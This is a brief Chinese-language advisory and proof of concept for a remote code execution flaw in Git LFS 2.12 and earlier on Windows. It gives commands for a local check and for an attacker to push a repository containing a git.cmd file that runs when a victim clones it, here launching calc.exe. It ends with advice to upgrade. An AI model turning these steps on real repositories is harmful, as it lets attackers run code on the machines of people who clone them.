2020年11月5日,在Git扩展之一GIT LFS上发现了一个关键漏洞。此漏洞利用成功会导致目标机器的远程代码执行。
远程代码执行漏洞仅对Windows平台上的Git-LFS(git-lfs)版本<=2.12上有效。一旦受害者克隆了恶意存储库,并在他们的系统上运行了易受攻击版本的git-lfs,恶意Payload就会立即执行。
漏洞验证:
在CMD窗口上使用以下命令。如果安装了受影响的git-lfs工具,系统将提示您使用计算器应用程序。
1. mkdir C:\Windows\Temp\poc
2. cd C:\Windows\Temp\poc
3. echo calc.exe > git.cmd
4. git-lfs track
在目标系统上获得RCE
按照以下步骤进行远程代码执行
作为攻击者:
1.在GitHub上创建一个存储库
2. cd /dev/shm
3. git clone https://github.com/attacker/poc.git .
4. echo calc.exe > git.cmd
5. git lfs track “*.dat”
6. echo “Junk” > large.dat
7. git add -A
8. git commit -m “POC”
9. git push -u origin master -f
受害者:
1.git clone https://github.com/attacker/poc.git.
PoC视频:
https://www.youtube.com/watch?v=WF69X9KEayE
加固建议:
更新并保持 git 版本高于 2.29.2,将 git-lfs 扩展程序保持在 2.12 以上
ref: